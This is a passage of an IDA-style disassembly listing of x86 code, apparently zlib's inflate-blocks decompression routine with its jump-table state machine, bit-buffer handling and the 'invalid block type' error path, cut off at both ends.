[ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4332F8[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+0Ch] add ecx, edx mov edx, [ebp+var_10] mov [edx+0Ch], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 5 loc_42AA40: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B021o mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] sub ecx, [eax+28h] mov edx, [ebp+var_10] cmp ecx, [edx+0Ch] jnb short loc_42AA6F mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] sub ecx, [eax+28h] mov edx, [ebp+var_10] mov eax, [edx+0Ch] sub eax, ecx mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, eax mov [ebp+var_3C], edx jmp short loc_42AA7B ; --------------------------------------------------------------------------- loc_42AA6F: ; CODE XREF: sub_42A2DE+771j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] sub ecx, [eax+0Ch] mov [ebp+var_3C], ecx loc_42AA7B: ; CODE XREF: sub_42A2DE+78Fj mov edx, [ebp+var_3C] mov [ebp+var_1C], edx loc_42AA81: ; CODE XREF: sub_42A2DE+96Bj mov eax, [ebp+var_10] cmp dword ptr [eax+4], 0 jz loc_42AC4E cmp [ebp+var_28], 0 jnz loc_42ABFA mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz short loc_42AAE8 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_42AAE8 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_42AAD6 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_40], edx jmp short loc_42AAE2 ; --------------------------------------------------------------------------- loc_42AAD6: ; CODE XREF: sub_42A2DE+7E5j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_40], ecx loc_42AAE2: ; CODE XREF: sub_42A2DE+7F6j mov edx, [ebp+var_40] mov [ebp+var_28], edx loc_42AAE8: ; CODE XREF: sub_42A2DE+7C3j ; sub_42A2DE+7D1j cmp [ebp+var_28], 0 jnz loc_42ABFA mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_42AB37 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_44], ecx jmp short loc_42AB43 ; --------------------------------------------------------------------------- loc_42AB37: ; CODE XREF: sub_42A2DE+846j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_44], eax loc_42AB43: ; CODE XREF: sub_42A2DE+857j mov ecx, [ebp+var_44] mov [ebp+var_28], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+2Ch] jnz short loc_42AB99 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+30h] cmp eax, [edx+28h] jz short loc_42AB99 mov ecx, [ebp+arg_0] mov edx, [ecx+28h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_42AB87 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_48], eax jmp short loc_42AB93 ; --------------------------------------------------------------------------- loc_42AB87: ; CODE XREF: sub_42A2DE+896j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_48], edx loc_42AB93: ; CODE XREF: sub_42A2DE+8A7j mov eax, [ebp+var_48] mov [ebp+var_28], eax loc_42AB99: ; CODE XREF: sub_42A2DE+874j ; sub_42A2DE+882j cmp [ebp+var_28], 0 jnz short loc_42ABFA mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42ABFA: ; CODE XREF: sub_42A2DE+7B4j ; sub_42A2DE+80Ej ... mov [ebp+arg_8], 0 mov ecx, [ebp+var_8] mov edx, [ebp+var_1C] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_28] sub eax, 1 mov [ebp+var_28], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] cmp edx, [ecx+2Ch] jnz short loc_42AC3A mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_1C], ecx loc_42AC3A: ; CODE XREF: sub_42A2DE+951j mov edx, [ebp+var_10] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_10] mov [ecx+4], eax jmp loc_42AA81 ; --------------------------------------------------------------------------- loc_42AC4E: ; CODE XREF: sub_42A2DE+7AAj mov edx, [ebp+var_10] mov dword ptr [edx], 0 jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42AC5C: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B025o cmp [ebp+var_28], 0 jnz loc_42ADC8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+2Ch] jnz short loc_42ACB6 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+30h] cmp ecx, [eax+28h] jz short loc_42ACB6 mov edx, [ebp+arg_0] mov eax, [edx+28h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_42ACA4 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_4C], ecx jmp short loc_42ACB0 ; --------------------------------------------------------------------------- loc_42ACA4: ; CODE XREF: sub_42A2DE+9B3j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_4C], eax loc_42ACB0: ; CODE XREF: sub_42A2DE+9C4j mov ecx, [ebp+var_4C] mov [ebp+var_28], ecx loc_42ACB6: ; CODE XREF: sub_42A2DE+991j ; sub_42A2DE+99Fj cmp [ebp+var_28], 0 jnz loc_42ADC8 mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch mov [ebp+arg_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_42AD05 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_50], eax jmp short loc_42AD11 ; --------------------------------------------------------------------------- loc_42AD05: ; CODE XREF: sub_42A2DE+A14j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_50], edx loc_42AD11: ; CODE XREF: sub_42A2DE+A25j mov eax, [ebp+var_50] mov [ebp+var_28], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz short loc_42AD67 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_42AD67 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_42AD55 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_54], edx jmp short loc_42AD61 ; --------------------------------------------------------------------------- loc_42AD55: ; CODE XREF: sub_42A2DE+A64j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_54], ecx loc_42AD61: ; CODE XREF: sub_42A2DE+A75j mov edx, [ebp+var_54] mov [ebp+var_28], edx loc_42AD67: ; CODE XREF: sub_42A2DE+A42j ; sub_42A2DE+A50j cmp [ebp+var_28], 0 jnz short loc_42ADC8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42ADC8: ; CODE XREF: sub_42A2DE+982j ; sub_42A2DE+9DCj ... mov [ebp+arg_8], 0 mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov dl, [ecx+8] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_28] sub ecx, 1 mov [ebp+var_28], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 0 jmp loc_42B004 ; --------------------------------------------------------------------------- loc_42ADFA: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B029o cmp [ebp+var_24], 7 jbe short loc_42AE1B mov eax, [ebp+var_24] sub eax, 8 mov [ebp+var_24], eax mov ecx, [ebp+var_2C] add ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42AE1B: ; CODE XREF: sub_42A2DE+B20j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_42AE60 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_58], ecx jmp short loc_42AE6C ; --------------------------------------------------------------------------- loc_42AE60: ; CODE XREF: sub_42A2DE+B6Fj mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_58], eax loc_42AE6C: ; CODE XREF: sub_42A2DE+B80j mov ecx, [ebp+var_58] mov [ebp+var_28], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+30h] cmp ecx, [eax+34h] jz short loc_42AEDB mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42AEDB: ; CODE XREF: sub_42A2DE+BA0j mov edx, [ebp+var_10] mov dword ptr [edx], 8 loc_42AEE4: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B02Do mov [ebp+arg_8], 1 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp loc_42B009 ; --------------------------------------------------------------------------- loc_42AF46: ; CODE XREF: sub_42A2DE+7Ej ; DATA XREF: TEUm:0042B031o mov [ebp+arg_8], 0FFFFFFFDh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp short loc_42B009 ; --------------------------------------------------------------------------- loc_42AFA5: ; CODE XREF: sub_42A2DE+75j mov [ebp+arg_8], 0FFFFFFFEh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp short loc_42B009 ; --------------------------------------------------------------------------- loc_42B004: ; CODE XREF: sub_42A2DE+186j ; sub_42A2DE+2BFj ... jmp loc_42A347 ; --------------------------------------------------------------------------- loc_42B009: ; CODE XREF: sub_42A2DE+228j ; sub_42A2DE+3A6j ... mov esp, ebp pop ebp retn sub_42A2DE endp ; --------------------------------------------------------------------------- off_42B00D dd offset loc_42A363 ; DATA XREF: sub_42A2DE+7Er dd offset loc_42A48C dd offset loc_42A689 dd offset loc_42A78E dd offset loc_42A955 dd offset loc_42AA40 dd offset loc_42AC5C dd offset loc_42ADFA dd offset loc_42AEE4 dd offset loc_42AF46 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B035 proc near ; CODE XREF: sub_42B04E+4Ep ; sub_42B1FD+10BCp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 pop ebp retn sub_42B035 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B04E proc near ; CODE XREF: sub_42B105+E9p ; sub_42C565+Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jz short loc_42B062 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] mov [eax], edx loc_42B062: ; CODE XREF: sub_42B04E+7j mov eax, [ebp+arg_0] cmp dword ptr [eax], 4 jz short loc_42B072 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 5 jnz short loc_42B089 loc_42B072: ; CODE XREF: sub_42B04E+1Aj mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 loc_42B089: ; CODE XREF: sub_42B04E+22j mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 6 jnz short loc_42B0A4 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_42B035 add esp, 8 loc_42B0A4: ; CODE XREF: sub_42B04E+41j mov edx, [ebp+arg_0] mov dword ptr [edx], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+1Ch], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+20h], 0 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [edx+34h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [edx+30h], ecx mov edx, [ebp+arg_0] cmp dword ptr [edx+38h], 0 jz short loc_42B103 push 0 push 0 push 0 mov eax, [ebp+arg_0] call dword ptr [eax+38h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+3Ch], eax mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] mov [edx+30h], ecx loc_42B103: ; CODE XREF: sub_42B04E+92j pop ebp retn sub_42B04E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B105 proc near ; CODE XREF: sub_42DD45+13Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 40h push 1 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42B12E mov eax, [ebp+var_4] jmp loc_42B1F9 ; --------------------------------------------------------------------------- loc_42B12E: ; CODE XREF: sub_42B105+1Fj push 5A0h push 8 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov ecx, [ebp+var_4] mov [ecx+24h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+24h], 0 jnz short loc_42B16F mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 xor eax, eax jmp loc_42B1F9 ; --------------------------------------------------------------------------- loc_42B16F: ; CODE XREF: sub_42B105+4Dj mov ecx, [ebp+arg_8] push ecx push 1 mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+var_4] mov [edx+28h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+28h], 0 jnz short loc_42B1C3 mov ecx, [ebp+var_4] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 xor eax, eax jmp short loc_42B1F9 ; --------------------------------------------------------------------------- loc_42B1C3: ; CODE XREF: sub_42B105+8Dj mov ecx, [ebp+var_4] mov edx, [ecx+28h] add edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [eax+2Ch], edx mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [ecx+38h], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 push 0 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_42B04E add esp, 0Ch mov eax, [ebp+var_4] loc_42B1F9: ; CODE XREF: sub_42B105+24j ; sub_42B105+65j ... mov esp, ebp pop ebp retn sub_42B105 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B1FD proc near ; CODE XREF: sub_42DEC5+3F3p var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx+4] mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+20h] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_42B24B mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_54], ecx jmp short loc_42B257 ; --------------------------------------------------------------------------- loc_42B24B: ; CODE XREF: sub_42B1FD+3Bj mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_54], eax loc_42B257: ; CODE XREF: sub_42B1FD+4Cj mov ecx, [ebp+var_54] mov [ebp+var_18], ecx loc_42B25D: ; CODE XREF: sub_42B1FD:loc_42C524j mov edx, [ebp+arg_0] mov eax, [edx] mov [ebp+var_58], eax cmp [ebp+var_58], 9 ja loc_42C4C5 mov ecx, [ebp+var_58] jmp off_42C52D[ecx*4] loc_42B279: ; CODE XREF: sub_42B1FD+121j ; DATA XREF: TEUm:off_42C52Do cmp [ebp+var_14], 3 jnb loc_42B323 cmp [ebp+var_1C], 0 jz short loc_42B292 mov [ebp+arg_8], 0 jmp short loc_42B2ED ; --------------------------------------------------------------------------- loc_42B292: ; CODE XREF: sub_42B1FD+8Aj mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B2ED: ; CODE XREF: sub_42B1FD+93j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_42B279 ; --------------------------------------------------------------------------- loc_42B323: ; CODE XREF: sub_42B1FD+80j mov eax, [ebp+var_C] and eax, 7 mov [ebp+var_10], eax mov ecx, [ebp+var_10] and ecx, 1 mov edx, [ebp+arg_0] mov [edx+18h], ecx mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_5C], eax cmp [ebp+var_5C], 3 ja loc_42B501 mov ecx, [ebp+var_5C] jmp off_42C555[ecx*4] loc_42B354: ; CODE XREF: sub_42B1FD+75j ; DATA XREF: TEUm:off_42C555o mov edx, [ebp+var_C] shr edx, 3 mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, 3 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 7 mov [ebp+var_10], ecx mov edx, [ebp+var_C] mov ecx, [ebp+var_10] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+var_10] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov dword ptr [ecx], 1 jmp loc_42B501 ; --------------------------------------------------------------------------- loc_42B391: ; CODE XREF: sub_42B1FD+75j ; sub_42B1FD+150j ; DATA XREF: ... mov edx, [ebp+arg_4] push edx lea eax, [ebp+var_2C] push eax lea ecx, [ebp+var_24] push ecx lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax call sub_42D0BB add esp, 14h mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx call sub_42A289 add esp, 14h mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_42B43A mov [ebp+arg_8], 0FFFFFFFCh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B43A: ; CODE XREF: sub_42B1FD+1D9j mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 6 jmp loc_42B501 ; --------------------------------------------------------------------------- loc_42B45A: ; CODE XREF: sub_42B1FD+75j ; sub_42B1FD+150j ; DATA XREF: ... mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 3 jmp loc_42B501 ; --------------------------------------------------------------------------- loc_42B47A: ; CODE XREF: sub_42B1FD+75j ; sub_42B1FD+150j ; DATA XREF: ... mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, 